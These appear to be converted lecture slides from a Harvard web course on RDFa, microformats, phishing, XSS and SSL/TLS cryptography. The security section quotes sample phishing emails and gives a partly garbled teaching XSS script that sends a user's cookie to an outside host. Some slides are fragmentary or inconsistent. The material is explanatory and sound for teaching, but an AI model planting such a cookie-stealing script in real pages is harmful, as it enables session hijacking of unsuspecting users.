This work is licensed under a [Creative Commons Attribution-Noncommercial-Share Alike 3.0 License](http://creativecommons.org/licenses/by-nc-sa/3.0/).

**Markup (rel=license):**

```html
<p>
  <a rel="license"
      href="http://creativecommons.org/licenses/by-nc-sa/3.0/">
    <img alt="Creative Commons License"
         style="border-width: 0"
         src="http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png"/>
  </a>
  <br/>
  This work is licensed under a
  <a rel="license"
      href="http://creativecommons.org/licenses/by-nc-sa/3.0/">
    Creative Commons Attribution-Noncommercial-Share Alike 3.0 License
  </a>.
</p>
```

**RDF Triple**

```
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix dc: <http://purl.org/dc/elements/1.1/> .
@prefix xsd: <http://www.w3.org/2001/XMLSchema#> .

<http://example.com/documents/1234> rdfs:license <http://creativecommons.org/licenses/by-nc-sa/3.0/>
```
RDFa and the Dublin Core

Examples from the RDFa Primer:

```html
<div xmlns:dc="http://purl.org/dc/elements/1.1/">
  <h2 property="dc:title">The trouble with Bob</h2>
  <h3 property="dc:creator">Alice</h3>
</div>
```

```
http://example.com/alice/posts/1234
```

```
dc:creator
Alice
```

```
dc:title
http://example.com/alice/posts/1234
```

```
The Trouble with Bob
```

```
<div about="http://example.com/bob/photos/sunset.jpg">
  <img src="http://example.com/bob/photos/sunset.jpg"/>
  <span property="dc:title">Beautiful Sunset</span>
  by <span property="dc:creator">Bob</span>.
</div>
```

```
dc:creator
Bob
```

```
dc:title
http://example.com/bob/photos/sunset.jpg
```

```
Beautiful Sunset
```

"Organic" Semantic Web

- named tags (e.g. sakai09)
- @davidh
- upcoming:event=12345

Semantic Tagging

- upcoming:event=4495904

  - Flickr Photos tagged with upcoming:event=4495904

- Meta Tags: The Poor Man's RDF?
Microformats

- microformats.org
- About Microformats

Designed for humans first and machines second, microformats are a set of simple, open data formats built upon existing and widely adopted standards.
Calendar Microformat Example

vCalendar information for Project Presentation event:

BEGIN:VCALENDAR
VERSION:2.0
BEGIN:VEVENT
SUMMARY:Final Project Presentations
LOCATION:1 Story Street, Room 310, Cambridge, MA
DESCRIPTION:Groups will present their final projects.
Source: http://cscie153.dce.harvard.edu/
DTSTART:20091215T003000Z
DTEND:20091215T023000Z
END:VEVENT
END:VCALENDAR

Microformat for Project Presentation event:

<div class="vevent" id="hcalendar-Final-Project-Presentations">
  <a class="url" href="http://cscie153.dce.harvard.edu/"
     title="Final Project Presentations">
    <abbr class="dtstart" title="20091215T1930-0500">Tuesday, December 15, 2009. 7:30pm</abbr>
    to
    <abbr class="dtend" title="20091215T2130-0500">7:30pm</abbr>
    &mdash;
    <span class="summary">Final Project Presentations</span>&mdash; at
    <span class="location">1 Story Street, Room 310, Cambridge, MA</span>
  </a>
  <div class="description">Groups will present their final projects. </div>
</div>

Tuesday, December 15, 2009. 7:30pm to 7:30pm — Final Project Presentations — at 1 Story Street, Room 310, Cambridge, MA

Groups will present their final projects.
Bookmarklet that Parses Microformat

Tuesday, December 15, 2009. 7:30pm to 7:30pm — Final Project Presentations— at 1 Story Street, Room 310, Cambridge, MA

Groups will present their final projects.
Contact Microformat Example

Contact information (vCard):

BEGIN:VCARD
FN:David Philip Heitmeyer
N:Heitmeyer;David
ORG:Harvard University, Division of Continuing Education
NOTE:Source: tomcat.localhost
ADR;;1 Story Street, Room 310;Cambridge;MA;02138;United States;
EMAIL:david_heitmeyer@harvard.edu
URL:http://cscie153.dce.harvard.edu/
TEL;617-555-1212:617-555-1212
END:VCARD

hCard Microformat

Rendered:

David Philip Heitmeyer
Harvard University, Division of Continuing Education
david_heitmeyer@harvard.edu
1 Story Street, Room 310
Cambridge , MA , 02138 United States
617-555-1212

Markup:

```
view plain print ?
1. <div id="hcard-David-Philip-Heitmeyer" class="vcard">
2.   <a class="url fn n" href="http://cscie153.dce.harvard.edu/">
3.     David</a>
4.   <span class="additional-name">Philip</span>
5.   <span class="family-name">Heitmeyer</span>
6. </a>
7. <div class="org">Harvard University, Division of Continuing Education</div>
8. <a class="email" href="mailto:david_heitmeyer@harvard.edu">david_heitmeyer@harvard.edu</a>
9. <div class="adr">
10.   <div class="street-address">1 Story Street, Room 310</div>
11.   <span class="locality">Cambridge</span>,
12.   <span class="region">MA</span>,
13.   <span class="postal-code">02138</span>
14.   <span class="country-name">United States</span>
15. </div>
16. <div class="tel">617-555-1212</div>
17. </div>
```

Bookmarklet:
Microformats found at:
http://cscie153.dce.harvard.edu/

DavidPhilipHeitmeyer
http://cscie153.dce.harvard.edu/
Harvard University, Division of Continuing Education
## Microformat Specifications

- People and Organizations: hCard, Xfn
- Calendars and Events: hCalendar
- Opinions, Ratings, and Reviews: vEvent, hReview
- Licenses: rel-license
- Tags, Keywords, Categories: rel-tag
- Lists and Outlines: XOXO

See the list of all microformats.
Whither RDFa and Microformats?

- **Yahoo! into Semantic Web**  
  Yahoo! announces support of semantic web standards (including Microformats and RDFa) (March 2008)

- **Google Announces Support for Microformats and RDFa.**  
  O'Reilly Radar (May 2009)

- **Obama Team Challenges Web Developers** (November 2009)

  The White House is planning to make increasing use of RDFa, a way of tagging metadata to content that could make hard-to-find data more searchable. "We have a lot of primary source content and have it exposed in ways that traditionally hasn't been done by government," Cole said. "Instead of just having PDFs that are scanned, we're trying to reverse that trend.

  - Google News Search:
    - [Google News search for "RDFa"]
    - [Google News search for "Microformats"]
Privacy and Security Concerns

User / Client

- **Fraud.** The server or site is "who" it appears to be. "Phishing"
- **Safe content.** Content received is safe -- it is not dangerous or malicious.
  - Cross Site Scripting (XSS)
- **Privacy Infringement.** Information given to server will be kept private.

Provider / Server

- **Break-in.** Server machine will not be broken into.
- "Webjacking". Content will not be altered.
- **Denial-of-Service (DOS) Attacks.** Server will be available.
- **Authentication / Authorization.** Users will not access documents not meant for them.
- **Fraud.** Users are who they claim to be.

Common

- **Eavesdropping.** Third parties are not eavesdropping on the information sent between the client and server.
- **Tampering.** Information sent between the client and server arrives intact.
Phishing from Wikipedia.

Emails and sites that pretend to be someone or something else in order to get you to give private and/or confidential information.

Example emails:

PLEASE PROTECT YOUR HARVARD.EDU ACCOUNT FROM BEING CLOSED
HARVARD.EDU WEB CUSTOMER SERVICE [scottielass7024@eircom.net]

Greetings to you,

This is to formally notify you that we are presently working on the harvard.edu web, and this can close your webmail account with harvard.edu completely.

To avoid this, please send your surname and password to harvard.edu customer care email address: web_customercentre4@live.com Please do this, so your harvard.edu account can be protected from being close.

Your immediate response is highly needed

Find the home of your dreams with eircom net property Sign up for email alerts now [http://www.eircom.net/propertyservices]

Dear valued customer,

We regularly perform scheduled maintenance for our Citibusiness Online customers. We intend upgrading our Digital Banking security server for better online services.

In order to ensure you do not experience service interruption, you are required to complete our Citibusiness Online Form by following the secured hyperlink below:


Thank you for banking with Citibank, the industry leader in safe and secure online banking.

Citibank Customer Service


Example site:
Did you know?

With PayPal, you can pay with a credit or debit card, bank account or PayPal balance.
Cross-Site Scripting (XSS)

XSS takes advantage of inserted scripts and/or markup into a dynamically generated page. When an unsuspecting user loads the page, the script is executed. Risk of XSS increases with the wide-spread use of Ajax.

- Javascript
- SSI
- PHP, or other any other server-side technology

XSS Example

Simple example for illustration:

Blog post on a site that allows JavaScript content:

```html
1. <script type="text/javascript">
3. + escape(document.cookie)
4. + '\"/>\');
5. </script>
```

Which could render as:

```
1. <img src="http://myothersite.com/steal.gif?cookie=SESSIONID%3D9GQ0Soz3xfAAAFlawUAAAAC" />
```
HTTPS: SSL/TLS

Encryption of communication between browser and server.

SSL
Secure Sockets Layer

TLS
Transport Layer Security

Details of an SSL/TLS certificate from isites.harvard.edu shown in Firefox

Certificate Viewer: "isites.harvard.edu"

This certificate has been verified for the following uses:
SSL Server Certificate

Issued To
Common Name (CN) isites.harvard.edu
Organization (O) President and Fellows of Harvard College
Organizational Unit (OU) University Information Systems
Serial Number 08:89-A2

Issued By
Common Name (CN) <Not Part Of Certificate>
Organization (O) Equifax
Organizational Unit (OU) Equifax Secure Certificate Authority

Validity
Issued On 6/29/2009
Expires On 6/30/2013

Fingerprints

Certificate Authorities (CAs) bundled with Firefox
Encryption Basics

- Plaintext
- Ciphertext
- Key
- Cryptographic Algorithm

plaintext → Cryptographic Algorithm → ciphertext
Symmetric Key Cryptography

plaintext

Cryptographic Algorithm

key

$ciphertext$
Public Key Cryptography

plaintext

Cryptographic Algorithm

private key

ciphertext

Cryptographic Algorithm

public key

ciphertext

plaintext
Digital Signatures

\[ \text{plaintext} \xrightarrow{\text{Cryptographic Algorithm}} \text{plaintext} + \text{Signature} \]

\[ \text{plaintext} + \text{Signature} \xrightarrow{\text{public key}} \checkmark \text{Verification} \]
Public Key + Signature

sender

Cryptographic Algorithm

recipient

Signature

Signature

Cryptographic Algorithm
Digital Envelopes

Public key cryptography is much slower than symmetric key cryptography. In practice, the two systems are usually combined:

- **Establish a common session key**
  - Browser generates a "session key".
  - Browser encrypts "session key" with Server's public key.
  - Browser sends encrypted session key to Server.
  - Server decrypts session key with Server's private key

- **Send Messages**
  - Browser and Server use common session key to encrypt and decrypt message.
A question of Identity

Certifying Authorities (CAs) and Server Certificate

1. Generate a public/private key pair
2. Send your public key to a CA
3. CA verifies your identity and signs your public key with its own private key
4. Your signed certificate identifies you; analogous to your "passport".

Some CA Companies

- CyberTrust
- Verisign
- Thawte